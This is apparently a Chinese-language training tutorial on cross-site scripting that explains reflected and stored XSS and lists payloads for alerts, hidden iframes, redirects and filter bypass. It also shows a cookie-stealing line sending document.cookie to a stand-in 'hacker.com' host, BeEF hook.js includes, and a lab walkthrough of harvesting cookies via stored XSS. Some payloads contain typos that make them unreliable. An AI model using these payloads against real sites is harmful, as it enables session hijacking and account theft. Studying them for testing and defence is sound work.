Web安全 - XSS跨站攻击

一、xss简介
跨站脚本攻击,英文全称是Cross Site Script,本来缩写是CSS,但是为了和层叠样式表(Cascading Style Sheet, CSS)有所区别,所以在安全领域叫做“XSS”。XSS是一种经常出现在web应用中的计算机安全漏洞,也是web中最主流的攻击方式。
原理:通常指黑客通过“HTML注入”篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。
XSS是指恶意攻击者利用网站没有对用户提交数据的进行转义或过滤不足的缺点,进而添加一些代码,嵌入到web页面中去,使别的用户访问都会执行相应的嵌入代码。从而盗取用户资料,利用用户身份进行某些动作或者对访问者进行病毒侵害的一种攻击方式。
提交的代码会被当做字符串输出在html页面中,浏览器会根据标签识别为JS语句,并会执行它,执行弹框操作,也就是说,可以执行其他JS代码,因此我们验证了XSS漏洞的存在性。
前面提到的文件上传、sql注入漏洞都是攻击服务器,而xss是在客户的客户端进行攻击。

二、xss攻击的危害

  1. 盗取各类用户账号,如机器登陆账号、用户网站账号、各类管理员账号
  2. 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
  3. 盗窃企业重要的具有商业价值的资料
  4. 非法转账
  5. 强制发送电子邮件
  6. 网站挂马
  7. 控制受害者机器向其他网站发起攻击

三、xss漏洞的验证
我们可以用一段简单的代码,验证和检查漏洞的存在,这样的代码叫做PoC
PoC 漏洞的验证与检测
EXP 漏洞的完整利用工具
shellcode 利用漏洞时所执行的代码
payload 攻击载荷
sqlmap 攻击代码的模版

验证XSS 漏洞存在的PoC如下:
<script>alert(/xss)</script>     弹框
<script>confirm('xss')</script>     确认框
<script>prompt('xss')</script>   输入框

四、xss原理
第一集10:33 27:19

  1. 反射型
    反射型XSS只是简单地把用户输入的数据“反射”给浏览器。也就是说,黑客往往需要诱使用户“点击”一个恶意链接,才能攻击成功。反射型XSS也叫做“非持久型XSS”(Non-persistentXSS)。
    在这里插入图片描述
  2. 存储型
    存储型XSS会把用户输入的数据“存储”在服务器端。这种XSS具有很强的稳定性。比较常见的一个场景就是,黑客写下一篇包含有恶意JavaScript代码的博客文章,文章发表后,所有访问该博客文章的用户,都会在他们的浏览器中执行这段恶意的JavaScript代码。黑客把恶意的脚本保存到服务器端,所以这种XSS攻击就叫做“存储型XSS”。存储型XSS通常也叫做“持久型XSS”(Persistent XSS),因为从效果上来说,它存在的时间是比较长的。
    在这里插入图片描述
  3. xss主要原因
    过于信任客户端提交的数据
  4. xss主要分类:
    – 反射型xss攻击:又称为非持久性跨站点脚本攻击,它是最常见的类型的xss。漏洞产生的原因是攻击者注入的数据反应在响应中。一个典型的非持久性xss包含一个带有xss攻击向量的链接(即每次攻击需要用户的点击)
    – 存储型xss攻击:又称为持久型跨站点脚本,它一般发生在xss攻击向量(一般指xss攻击代码),存储在网站数据库,当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。持久性的xss相比非持久性xss攻击危害性更大,因为每当用户打开页面,查看内容时脚本将自动执行。

五、构造xss脚本

  1. 常用html标签
<iframe>  iframe 元素会创建另外一个文档的内联框架(即行内框架)
<testarea>   该标签定义多行的文本输入控件  
<img>  该元素向网页中嵌入一幅图像
<script>    该标签用于定义客户端脚本,比如JavaScript,script元素既可以包含脚本语句,也可以通过src属性指向外部脚本文件。必需的type属性规定脚本的mime类型,JavaScript的常见应用时图像操作、表单验证以及动态内容更新
  1. 常用的JavaScript方法
alert  alert()方法用于显示带有一条指定消息和一个确认按钮的警告框 
windows.location  该对象用于获得当前页面的地址,并把浏览器重定向到新的页面 
location.href  返回当前显示的文档的完整url 
onload  一张页面活一幅图像完成加载 
onsubmit  确认按钮被点击 
onerror  在加载文档活图像时发生错误
  1. 构造xss脚本
弹框警告:
此脚本实现弹框提示,一般作为漏洞测试或者演示使用,类似于sql注入漏洞测试中的单引号,一旦此脚本执行,也就意味着后段服务器没有对特殊字符做过滤<>/'  这样就可以证明,这个页面位置存在了xss漏洞
<script>alert('xss')</script>
<script>alert(document.cookie)</script>

页面嵌套:
<iframe src=http://www.baidu.com width=300 height=300></iframe>
<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>

页面重定向:
<script>window.location="http://www.qfedu.com"</script>
<script>location.href="http://www.baidu.com"</script>

弹框警告并重定向:
<script>alert("请移步到我们的新站");location.href="http://www.qfedu.com"</script>
<script>alert('xss');location.href="http://10.1.32.12/mutillidae/robots.txt"<s/cript>
这里结合了一些社工的思想,例如,通过网站私信的方式将其发给其他用户,如果其他用户点击并且相信了这个信息,则可能在另外的站点重新登陆账号

访问恶意代码:
<script src="http://www.qfedu.com/xss.js"></script>
<script src="http://beff_ip:3000/hook.js"></script> 结合beff收集用户的cookie

巧用图片标签:
<img src="#" οnerrοr=alert('xss')>
<img src="javascript:alert('xss');">
<img src="http://BeEF_IP:3000/hook.js></img>

绕开过滤的脚本:
大小写 <ScrIpt>alert('xss')<SCRipt>'
字符编码  采用url base64等编码

收集用户cookie
打开新窗口并且采用本地cookie访问目标网页,打开新窗口并且采用本地cookie访问目标网页
<script>window.open("http://www.hacker.com/cookie.php?cookie="+document.cookie)

五、反射型XSS
低级别代码对上传的内容没有做任何过滤,所以这里可以用上面提到的弹窗警告进行测试
在这里插入图片描述
六、存储型XSS
存储型XSS(持久型XSS)即攻击者将带有XSS攻击的链接放在网页的某个页面,例如评论框等;用户访问此XSS链接并执行,由于存储型XSS能够攻击所有访问此页面的用户,所以危害比较大。
手工低

1. 攻击1 弹框警告:渗透机 kali Linux端操作

text1

<script>alert('yangge')</script>

如下图所示:
在这里插入图片描述
按照上面提交以后,任何一台机器只要访问这个页面就会出现该弹框

2. 攻击2 获取cookie:渗透机Kali Linux端操作
(1)构建收集cookie服务器
—服务器上创建文件cookie_rec.php
—编辑文件内容:
在这里插入图片描述
—给目录加权限
在这里插入图片描述
(2)构造XSS代码并注入到Web服务器
在这里插入图片描述
在这里插入图片描述
上面一步提交以后,上服务器查看之前文件夹是否有新生成一个文档(目前为空)
(3)等待肉鸡触发XSS代码,并将cookie发送到Kali
另外一个用户访问该页面以后,cookie被正确提交。此时上服务器查看上面新生成的文档,里面就有一个cookie值
(4)cookie利用

七、自动化XSS
7.1 BeFF简介
Browser Exploitation Framework(BeFF)
BeFF是目前最强大的浏览器开源渗透测试框架,通过XSS漏洞配合JS脚本和Metasploit进行渗透;BeFF是基于Ruby语言编写的,并且支持图形化界面,操作简单。
官网地址:http://beefproject.com/
信息收集:

  • 网络发现
  • 主机信息
  • cookie获取
  • 会话劫持
  • 键盘记录
  • 插件信息

持久化控制:

  • 确认弹框
  • 小窗口
  • 中间人

社会工程:

  • 点击劫持
  • 弹框告警
  • 虚假页面
  • 钓鱼页面

渗透攻击:

  • 内网渗透
  • CSRF攻击
  • DDOS攻击
  • Metasploit

7.2 BeFF基础
启动Apache和BeFF:

service apache start

启动成功以后,页面如下:
在这里插入图片描述
A黑客在wev ui页面中注入hook的代码,然后B和C用户访问了被渗透的页面,打开BeFF软件,可见如下内容:
在这里插入图片描述
命令颜色:
绿色 :对目标主机生效并且不可见(不会被发现)
橙色:对目标主机生效但可能可见(可能被发现)
灰色:对目标主机未必生效
红色:对目标主机不生效
在这里插入图片描述

学习链接:https://www.freebuf.com/articles/web/42727.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章